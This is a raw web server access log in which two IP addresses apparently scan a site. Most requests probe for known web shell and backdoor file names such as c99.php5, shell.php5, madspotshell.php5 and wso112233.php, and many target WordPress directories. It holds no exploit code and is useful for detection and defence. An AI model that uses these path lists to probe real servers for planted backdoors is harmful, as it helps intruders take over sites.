196.251.80.56 - - [23/Sep/2025:12:38:23 -0400] "GET /hiddenuploader.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:38:25 -0400] "GET /wp-admin/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:38:31 -0400] "GET /nub.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:38:36 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:38:39 -0400] "GET /memekbau.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:38:48 -0400] "GET /miabi.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:38:48 -0400] "GET /wp-content/uploads/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:38:52 -0400] "GET /wp-content/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:39:07 -0400] "GET /wp-includes/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:39:14 -0400] "GET /sex.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:39:21 -0400] "GET /download.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:39:25 -0400] "GET /downloadbokep.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:39:27 -0400] "GET /wp-admin/css/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:39:28 -0400] "GET /bokep.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:39:40 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:39:46 -0400] "GET /d.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:39:52 -0400] "GET /e.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:39:57 -0400] "GET /f.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:40:04 -0400] "GET /g.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:40:11 -0400] "GET /h.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:40:26 -0400] "GET /bcd.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:40:28 -0400] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:40:29 -0400] "GET /bct.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:40:34 -0400] "GET /wp-content/themes/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:38:54 -0400] "GET /wp-includes/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:38:55 -0400] "GET /tikung.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:39:08 -0400] "GET /xxx.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:39:16 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:39:18 -0400] "GET /seks.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:39:20 -0400] "GET /images/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:39:31 -0400] "GET /999.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:39:34 -0400] "GET /b.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:39:38 -0400] "GET /a.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:39:43 -0400] "GET /c.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:39:52 -0400] "GET /wp-admin/includes/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:40:09 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:40:18 -0400] "GET /i.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:40:22 -0400] "GET /wp-content/languages/themes/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:40:22 -0400] "GET /list.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:40:34 -0400] "GET /act.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:40:38 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:40:43 -0400] "GET /tools.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:40:51 -0400] "GET /finder.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:40:54 -0400] "GET /scan.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:40:54 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:40:56 -0400] "GET /anjink.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:41:06 -0400] "GET /index.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:41:07 -0400] "GET /images/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:41:09 -0400] "GET /0t0n9.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:41:14 -0400] "GET /exploiter.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:41:14 -0400] "GET /wp-admin/css/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:41:17 -0400] "GET /xploitz.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:41:24 -0400] "GET /online.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:41:28 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:41:33 -0400] "GET /123.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:41:37 -0400] "GET /door.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:41:41 -0400] "GET /wifi.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:41:41 -0400] "GET /wp-admin/includes/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:42:05 -0400] "GET /wp-content/languages/themes/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:42:11 -0400] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:42:17 -0400] "GET /besar.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:42:22 -0400] "GET /wp-content/themes/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:42:23 -0400] "GET /acx.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:42:26 -0400] "GET /heked.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:42:27 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:42:32 -0400] "GET /1337.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:42:35 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:42:36 -0400] "GET /android.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:42:49 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:42:52 -0400] "GET /tnt.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:42:56 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:43:21 -0400] "GET /madspotshell.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:43:35 -0400] "GET /ngewe.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:40:38 -0400] "GET /anoncyber.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:40:49 -0400] "GET /tool.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:40:49 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:41:00 -0400] "GET /hasben.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:41:20 -0400] "GET /xploiter.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:41:29 -0400] "GET /124.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:41:45 -0400] "GET /maniac.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:41:52 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:41:55 -0400] "GET /savage.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:42:03 -0400] "GET /acil.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:42:08 -0400] "GET /crot.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:42:13 -0400] "GET /ah.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:42:20 -0400] "GET /kecil.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:42:29 -0400] "GET /andro.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:42:38 -0400] "GET /asus.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:42:41 -0400] "GET /n7.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:42:48 -0400] "GET /404.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:42:56 -0400] "GET /find.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:43:00 -0400] "GET /adm0n.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:43:07 -0400] "GET /c99.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:43:14 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:43:15 -0400] "GET /gaza.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:43:25 -0400] "GET /egyshell.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:43:27 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:43:30 -0400] "GET /auto.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:43:37 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:43:38 -0400] "GET /c22.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:43:42 -0400] "GET /c100.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:43:50 -0400] "GET /ls.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:43:54 -0400] "GET /Cpanel.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:44:00 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:44:03 -0400] "GET /zone-h.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:44:09 -0400] "GET /images/user.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:43:42 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:43:46 -0400] "GET /configuration.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:43:50 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:43:59 -0400] "GET /k.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:44:12 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:44:20 -0400] "GET /images/madspotshell.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:44:29 -0400] "GET /images/whmcs.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:44:42 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:44:43 -0400] "GET /images/dz.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:44:46 -0400] "GET /images/cpn.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:44:51 -0400] "GET /images/changeall.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:44:55 -0400] "GET /images/sql.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:44:58 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:45:12 -0400] "GET /0day.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:45:18 -0400] "GET /images/admin.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:45:22 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:45:25 -0400] "GET /h4xor.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:45:31 -0400] "GET /L3b.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:45:34 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:45:35 -0400] "GET /images/d.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:45:42 -0400] "GET /images/L3b.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:45:47 -0400] "GET /sado.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:45:58 -0400] "GET /uploads.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:46:10 -0400] "GET /sniper.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:46:11 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:46:29 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:44:13 -0400] "GET /images/Sym.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:44:15 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:44:16 -0400] "GET /cp.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:44:25 -0400] "GET /images/root.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:44:26 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:44:31 -0400] "GET /images/index.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:44:36 -0400] "GET /images/2.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:45:06 -0400] "GET /images/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:45:42 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:45:51 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:45:52 -0400] "GET /admin1.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:45:58 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:46:02 -0400] "GET /sa.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:46:08 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:46:15 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:46:23 -0400] "GET /sql-new.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:46:30 -0400] "GET /shell.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:46:45 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:46:52 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
